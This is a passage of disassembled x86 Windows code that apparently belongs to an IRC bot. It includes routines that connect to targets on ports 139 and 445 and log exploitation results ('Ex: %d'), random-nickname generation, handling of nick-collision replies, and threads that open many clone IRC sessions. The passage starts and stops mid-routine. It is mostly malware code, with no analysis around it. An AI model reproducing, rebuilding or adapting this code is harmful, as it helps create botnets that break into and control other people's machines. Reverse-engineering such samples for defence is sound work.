		call	sub_4223F0
		push	edi
		lea	ebx, [esi+3Bh]
		push	[ebp+arg_4]
		mov	[esi+39h], di
		push	ebx
		call	sub_4223F0
		push	6
		add	ebx, edi
		push	offset dword_44D698
		push	ebx
		call	sub_4223F0
		push	85h
		push	offset dword_432F68
		push	[ebp+arg_0]
		call	sub_402F12
		add	esp, 48h
		test	al, al
		jnz	short loc_402FE7


loc_402FE3:				; CODE XREF: sub_402F57+B8j
		xor	bl, bl
		jmp	short loc_403028
; ---------------------------------------------------------------------------


loc_402FE7:				; CODE XREF: sub_402F57+8Aj
		mov	edi, 100h
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_402E92
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_402F12
		add	esp, 1Ch
		test	al, al
		jz	short loc_402FE3
		push	0
		lea	eax, [ebp+var_104]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_402E92
		add	esp, 10h
		mov	bl, 1


loc_403028:				; CODE XREF: sub_402F57+8Ej
		push	esi
		call	sub_4230B3
		pop	ecx
		mov	al, bl


loc_403031:				; CODE XREF: sub_402F57+24j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_402F57	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403036	proc near		; CODE XREF: .text:00403173p

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	0
		push	48h
		push	offset unk_433030
		push	[ebp+arg_0]
		call	dword_454350	; send
		cmp	eax, 48h
		jnz	short loc_403071
		push	0
		lea	eax, [ebp+var_20]
		push	20h
		push	eax
		push	[ebp+arg_0]
		call	sub_402E92
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403071
		cmp	[ebp+var_20], 82h
		jz	short loc_403075


loc_403071:				; CODE XREF: sub_403036+1Bj
					; sub_403036+33j
		xor	al, al
		leave
		retn
; ---------------------------------------------------------------------------


loc_403075:				; CODE XREF: sub_403036+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402F57
		add	esp, 0Ch
		leave
		retn
sub_403036	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 418h
		and	byte ptr [ebp-418h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-417h]
		push	7
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-418h]
		push	offset dword_4331E8
		push	eax
		call	sub_4223F0
		push	158h
		lea	eax, [ebp-418h]
		push	offset dword_432980
		push	eax
		call	sub_4223F0
		lea	eax, [ebp-418h]
		push	400h
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_433080
		push	eax
		call	sub_402B3C
		xor	ebx, ebx
		add	esp, 2Ch
		cmp	[ebp-4], ebx
		jnz	short loc_403106
		xor	eax, eax
		jmp	loc_403219
; ---------------------------------------------------------------------------


loc_403106:				; CODE XREF: .text:004030FDj
					; .text:0040311Fj ...
		test	ebx, ebx
		jnz	loc_4031A4
		push	6
		push	1
		push	2
		call	dword_454394	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403106
		xor	eax, eax
		lea	edi, [ebp-16h]
		stosd
		push	dword ptr [ebp+0C0h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-18h], 2
		call	dword_454314	; ntohs
		mov	[ebp-16h], ax
		lea	eax, [ebp+10h]
		push	eax
		call	dword_45434C	; inet_addr
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	10h
		push	eax
		push	esi
		call	dword_4542AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403198
		cmp	dword ptr [ebp+0C0h], 8Bh
		jnz	short loc_40317A
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_403036
		jmp	short loc_403192
; ---------------------------------------------------------------------------


loc_40317A:				; CODE XREF: .text:0040316Aj
		cmp	dword ptr [ebp+0C0h], 1BDh
		jnz	short loc_403198
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	esi
		call	sub_402F57


loc_403192:				; CODE XREF: .text:00403178j
		add	esp, 0Ch
		movzx	ebx, al


loc_403198:				; CODE XREF: .text:0040315Ej
					; .text:00403184j
		push	esi
		call	dword_4543AC	; closesocket
		jmp	loc_403106
; ---------------------------------------------------------------------------


loc_4031A4:				; CODE XREF: .text:00403108j
		lea	ecx, [ebp-8]
		call	sub_402969
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+10h]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		test	eax, eax
		jz	short loc_403216
		mov	eax, [ebp+0C8h]
		lea	eax, [eax+eax*8]
		shl	eax, 3
		lea	ecx, dword_432090[eax]
		inc	dword ptr [ecx]
		cmp	dword ptr [ebp+0D8h], 0
		mov	ecx, [ecx]
		jz	short loc_403216
		push	ecx
		lea	ecx, [ebp+10h]
		lea	eax, dword_432069[eax]
		push	ecx
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSSSExD	; "%s %s -> %s (Ex: %d)"
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+0Ch]
		call	sub_4104F6
		add	esp, 1Ch


loc_403216:				; CODE XREF: .text:004031D1j
					; .text:004031F0j
		xor	eax, eax
		inc	eax


loc_403219:				; CODE XREF: .text:00403101j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40321E:				; DATA XREF: .text:00432004o
		test	byte_631764, 1
		jnz	short loc_40322E
		or	byte_631764, 1


loc_40322E:				; CODE XREF: .text:00403225j
		jmp	$+5
		push	offset nullsub_1
		call	sub_42321A
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40323F	proc near		; CODE XREF: sub_403B2C+32A3p
					; sub_403B2C+32B0p

var_40		= byte ptr -40h
var_36		= byte ptr -36h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		push	0C8h
		mov	ebx, offset byte_44D6A8
		push	0
		push	ebx
		call	sub_4221F0
		push	10h
		mov	esi, offset a0123456789abcd ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZab"...
		pop	ecx
		lea	edi, [ebp+var_40]
		lea	eax, [ebp+var_40]
		rep movsd
		push	eax
		call	sub_422120
		add	esp, 10h
		mov	edi, eax
		xor	esi, esi


loc_403277:				; CODE XREF: sub_40323F+62j
		call	sub_4220FC
		test	esi, esi
		cdq
		jz	short loc_40328F
		idiv	edi
		mov	al, [ebp+edx+var_40]
		mov	byte_44D6A8[esi], al
		jmp	short loc_40329D
; ---------------------------------------------------------------------------


loc_40328F:				; CODE XREF: sub_40323F+40j
		lea	ecx, [edi-0Ah]
		idiv	ecx
		mov	al, [ebp+edx+var_36]
		mov	byte_44D6A8, al


loc_40329D:				; CODE XREF: sub_40323F+4Ej
		inc	esi
		cmp	esi, 67h
		jl	short loc_403277
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_40323F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032AA	proc near		; CODE XREF: sub_403B2C+254Cp
					; sub_403B2C+27D8p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_433F80 ; "\n"
		push	edi
		call	sub_423270
		pop	ecx
		mov	esi, offset dword_44D774
		pop	ecx


loc_4032C2:				; CODE XREF: sub_4032AA+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4032E0
		cmp	dword ptr [esi], 0
		jbe	short loc_4032E0
		push	0
		push	edi
		call	sub_422120
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_454350	; send


loc_4032E0:				; CODE XREF: sub_4032AA+1Cj
					; sub_4032AA+21j
		add	esi, 210h
		cmp	esi, offset dword_453E94
		jl	short loc_4032C2
		pop	edi
		pop	esi
		retn
sub_4032AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032F1	proc near		; CODE XREF: sub_4033F0+168p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_433F94 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422248
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	ebx, ebx


loc_403315:				; CODE XREF: sub_4032F1+35j
		push	esi
		push	ebx
		call	sub_422248
		mov	[ebp+edi*4+var_20], eax
		inc	edi
		pop	ecx
		cmp	edi, 8
		pop	ecx
		jl	short loc_403315
		cmp	[ebp+var_20], ebx
		mov	esi, [ebp+var_1C]
		jnz	short loc_40333C
		cmp	esi, ebx
		jnz	short loc_40333C
		xor	eax, eax
		inc	eax
		jmp	loc_4033EB
; ---------------------------------------------------------------------------


loc_40333C:				; CODE XREF: sub_4032F1+3Dj
					; sub_4032F1+41j
		push	[ebp+var_20]
		push	offset aRa	; "=RA"
		call	sub_422760
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_40336B
		push	offset aTa	; "=TA"
		lea	eax, [ebp+var_220]
		push	offset aSS_4	; "%s %s\n"
		push	eax
		call	sub_422063
		add	esp, 10h
		jmp	short loc_4033CA
; ---------------------------------------------------------------------------


loc_40336B:				; CODE XREF: sub_4032F1+5Dj
		push	offset a433	; "433"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40338C
		push	esi
		push	offset a432	; "432"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033E9


loc_40338C:				; CODE XREF: sub_4032F1+88j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_220]
		push	offset aSS_4	; "%s %s\n"
		push	eax
		call	sub_422063
		add	esp, 20h


loc_4033CA:				; CODE XREF: sub_4032F1+78j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_454350	; send


loc_4033E9:				; CODE XREF: sub_4032F1+99j
		xor	eax, eax


loc_4033EB:				; CODE XREF: sub_4032F1+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4032F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4033F0	proc near		; DATA XREF: sub_4035A8+60o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_4220C0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		xor	edi, edi
		push	dword_44D97C[esi]
		lea	eax, dword_44D77C[esi]
		inc	edi
		push	eax
		mov	dword_44D770[esi], edi
		call	sub_414275
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_44D774[esi], eax
		jb	loc_403588
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_403625
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	offset a8hj	; "8HJ"
		push	eax
		push	offset dword_43C088
		lea	eax, [ebp+var_1008]
		push	offset aSSSSMail_gmail ; "%s %s\n%s %s \"mail.gmail.com\" \"127.0.0.1"...
		push	eax
		call	sub_422063
		add	esp, 2Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_44D774[esi]
		call	dword_454350	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch


loc_4034E2:				; CODE XREF: sub_4033F0+193j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_44D774[esi]
		call	dword_454330	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_403588
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_40357E
; ---------------------------------------------------------------------------


loc_403516:				; CODE XREF: sub_4033F0+191j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_40353D
		cmp	al, 0Ah
		jz	short loc_40353D
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_40353D
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_403577
; ---------------------------------------------------------------------------


loc_40353D:				; CODE XREF: sub_4033F0+12Fj
					; sub_4033F0+133j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_403577
		push	dword_44D774[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4032F1
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_403588
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_403577:				; CODE XREF: sub_4033F0+14Bj
					; sub_4033F0+152j
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]


loc_40357E:				; CODE XREF: sub_4033F0+124j
		mov	[ebp+var_4], eax
		jnz	short loc_403516
		jmp	loc_4034E2
; ---------------------------------------------------------------------------


loc_403588:				; CODE XREF: sub_4033F0+40j
					; sub_4033F0+11Dj ...
		mov	dword_44D770[esi], ebx
		mov	esi, dword_44D774[esi]
		cmp	esi, ebx
		jbe	short loc_40359F
		push	esi
		call	dword_4543AC	; closesocket


loc_40359F:				; CODE XREF: sub_4033F0+1A6j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4033F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4035A8	proc near		; CODE XREF: sub_403B2C+242Ap

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_403620


loc_4035BA:				; CODE XREF: sub_4035A8+76j
		xor	edi, edi
		mov	eax, offset dword_44D770


loc_4035C1:				; CODE XREF: sub_4035A8+28j
		cmp	[eax], ebx
		jz	short loc_4035D2
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_453E90
		jl	short loc_4035C1


loc_4035D2:				; CODE XREF: sub_4035A8+1Bj
		cmp	edi, 31h
		jz	short loc_403620
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_44D77C[esi]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_4]
		mov	dword_44D770[esi], 1
		mov	dword_44D97C[esi], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	edi
		push	offset sub_4033F0
		push	ebx
		push	ebx
		call	dword_42F158	; CreateThread
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_4035BA


loc_403620:				; CODE XREF: sub_4035A8+10j
					; sub_4035A8+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4035A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403625	proc near		; CODE XREF: sub_4032F1+B4p
					; sub_4033F0+6Fp ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		call	dword_42F164	; GetTickCount
		push	eax
		call	sub_4220EF
		pop	ecx
		call	sub_4220FC
		mov	[ebp+var_4], eax
		fild	[ebp+var_4]
		fmul	dbl_42F300
		call	sub_4234BC
		cmp	eax, 1
		jnz	short loc_40367C
		call	sub_4220FC
		call	sub_4220FC
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4335A0[edx*4]
		jmp	short loc_403695
; ---------------------------------------------------------------------------


loc_40367C:				; CODE XREF: sub_403625+3Cj
		call	sub_4220FC
		call	sub_4220FC
		cdq
		mov	ecx, 0D9h
		idiv	ecx
		push	off_433238[edx*4]


loc_403695:				; CODE XREF: sub_403625+55j
		lea	eax, [ebp+var_2C]
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	ebx
		push	esi
		lea	eax, [ebp+var_2C]
		push	edi
		push	eax
		call	sub_422120
		pop	ecx
		mov	ebx, eax
		push	13h
		mov	[ebp+var_4], ebx
		pop	eax
		sub	eax, ebx
		mov	dword ptr [ebp+var_18+4], eax
		call	sub_4220FC
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_42F2F8
		call	sub_4234BC
		mov	esi, eax
		call	sub_4220FC
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fimul	[ebp+var_4]
		fmul	dbl_42F2F0
		call	sub_4234BC
		cmp	ebx, 2
		mov	edi, offset a_	; "-|`_\\{[]}"
		jle	short loc_403707
		cmp	ebx, 3
		jnz	short loc_4036FE
		cmp	esi, 1
		jz	short loc_403707


loc_4036FE:				; CODE XREF: sub_403625+D2j
		cmp	eax, 1
		jnz	loc_4037C0


loc_403707:				; CODE XREF: sub_403625+CDj
					; sub_403625+D7j
		call	sub_4220FC
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	dbl_42F2E8
		call	sub_4234BC
		push	off_4335A0[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	dword_42F04C	; lstrcpyA
		lea	esi, [ebp+ebx+var_2C]
		movsx	eax, byte ptr [esi-1]
		push	eax
		push	edi
		call	sub_4233B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4037AD
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_4233B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4037AD
		call	sub_4220FC
		mov	dword ptr [ebp+var_10+4], eax
		dec	ebx
		fild	dword ptr [ebp+var_10+4]
		mov	dword ptr [ebp+var_10+4], ebx
		fild	dword ptr [ebp+var_10+4]
		fmulp	st(1), st
		fmul	dbl_42F2F0
		call	sub_4234BC
		cmp	eax, 1
		jnz	short loc_4037AD
		push	edi
		call	sub_422120
		and	dword ptr [ebp+var_10+4], 0
		mov	dword ptr [ebp+var_10],	eax
		fild	[ebp+var_10]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_4220FC
		mov	dword ptr [ebp+var_10+4], eax
		fild	dword ptr [ebp+var_10+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_42F2F0
		call	sub_4234BC
		mov	al, byte ptr a_[eax] ; "-|`_\\{[]}"
		mov	[esi], al


loc_4037AD:				; CODE XREF: sub_403625+11Cj
					; sub_403625+12Dj ...
		push	dword ptr [ebp+var_18+4]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_421F40
		add	esp, 0Ch


loc_4037C0:				; CODE XREF: sub_403625+DCj
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_422120
		mov	esi, eax
		mov	[ebp+var_4], esi
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		call	sub_423350
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403A17
		movsx	eax, [ebp+esi+var_2D]
		push	eax
		push	edi
		xor	ebx, ebx
		call	sub_4233B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403919
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_42F2F0
		call	sub_4234BC
		cmp	esi, 3
		jz	short loc_40382A
		cmp	eax, 1
		jnz	loc_403919


loc_40382A:				; CODE XREF: sub_403625+1FAj
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_40386E
		push	edi
		call	sub_422120
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_42F2F0
		call	sub_4234BC
		mov	al, byte ptr a_[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_40388C
; ---------------------------------------------------------------------------


loc_40386E:				; CODE XREF: sub_403625+20Ej
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2E0
		call	sub_4234BC
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_40388C:				; CODE XREF: sub_403625+247j
		inc	esi
		xor	ebx, ebx
		mov	[ebp+var_4], esi
		inc	ebx
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2D8
		call	sub_4234BC
		cmp	esi, 3
		jz	short loc_4038B2
		cmp	eax, ebx
		jnz	short loc_403919


loc_4038B2:				; CODE XREF: sub_403625+287j
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_4038F7
		push	edi
		call	sub_422120
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	[ebp+var_10]
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	[ebp+var_10]
		fmul	dbl_42F2F0
		call	sub_4234BC
		mov	al, byte ptr a_[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_403915
; ---------------------------------------------------------------------------


loc_4038F7:				; CODE XREF: sub_403625+297j
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2E0
		call	sub_4234BC
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_403915:				; CODE XREF: sub_403625+2D0j
		inc	esi
		mov	[ebp+var_4], esi


loc_403919:				; CODE XREF: sub_403625+1D0j
					; sub_403625+1FFj ...
		cmp	esi, 6
		jge	short loc_403999
		call	sub_4220FC
		cmp	esi, 5
		jge	short loc_403936
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2F8
		jmp	short loc_40394F
; ---------------------------------------------------------------------------


loc_403936:				; CODE XREF: sub_403625+301j
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_42F2F0


loc_40394F:				; CODE XREF: sub_403625+30Fj
		call	sub_4234BC
		test	eax, eax
		jnz	short loc_403972
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2D0
		call	sub_4234BC
		mov	cl, 30h
		jmp	short loc_40398F
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_403625+331j
		cmp	eax, 1
		jnz	short loc_403999
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2E0
		call	sub_4234BC
		mov	cl, 41h


loc_40398F:				; CODE XREF: sub_403625+34Bj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_403999:				; CODE XREF: sub_403625+2F7j
					; sub_403625+350j
		cmp	ebx, 2
		jge	short loc_403A17
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_42F2F0
		call	sub_4234BC
		cmp	eax, 1
		jnz	short loc_403A17
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2D0
		call	sub_4234BC
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2C8
		call	sub_4234BC
		cmp	eax, 1
		jnz	short loc_403A17
		cmp	ebx, eax
		jge	short loc_403A17
		call	sub_4220FC
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_42F2C0
		call	sub_4234BC
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_403A17:				; CODE XREF: sub_403625+1B8j
					; sub_403625+377j ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_4222F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403625	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A30	proc near		; CODE XREF: sub_403B2C+3A9Ep
		push	esi
		mov	esi, offset dword_44D774


loc_403A36:				; CODE XREF: sub_403A30+2Dj
		cmp	dword ptr [esi-4], 1
		jnz	short loc_403A49
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_403A49
		push	eax
		call	dword_4543AC	; closesocket


loc_403A49:				; CODE XREF: sub_403A30+Aj
					; sub_403A30+10j
		push	dword ptr [esi]
		call	dword_42F298	; closesocket
		add	esi, 210h
		cmp	esi, offset dword_453E94
		jl	short loc_403A36
		xor	eax, eax
		pop	esi
		retn
sub_403A30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A63	proc near		; CODE XREF: sub_403B2C+7C2p
					; sub_419F6A+169p

var_5B0		= byte ptr -5B0h
var_5AF		= byte ptr -5AFh
var_1B0		= byte ptr -1B0h
var_158		= byte ptr -158h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 5B0h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_5B0]
		push	[ebp+arg_0]
		push	eax
		call	dword_42F04C	; lstrcpyA
		cmp	[ebp+var_5AF], 0
		jz	loc_403B24
		mov	al, [ebp+var_5B0]
		cmp	al, byte_439016
		jnz	loc_403B24
		push	40h
		lea	eax, [ebp+var_100]
		push	[ebp+arg_0]
		push	eax
		call	sub_41EF08
		mov	ebx, eax
		lea	eax, [ebp+var_100]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		call	sub_4199D7
		add	esp, 18h
		cmp	[ebp+var_100], 0
		mov	esi, eax
		lea	edi, [ebp+var_158]
		push	16h
		pop	ecx
		rep movsd
		jz	short loc_403B24
		mov	eax, [ebp+var_100]
		mov	al, [eax]
		cmp	al, byte_439016
		jnz	short loc_403B24
		push	[ebp+arg_10]
		inc	[ebp+var_100]
		lea	eax, [ebp+var_5B0]
		lea	esi, [ebp+var_158]
		sub	esp, 58h
		push	16h
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_8]
		rep movsd
		push	[ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_100]
		push	ebx
		push	eax
		call	sub_403B2C
		add	esp, 70h


loc_403B24:				; CODE XREF: sub_403A63+23j
					; sub_403A63+35j ...
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_403A63	endp


; =============== S U B	R O U T	I N E =======================================

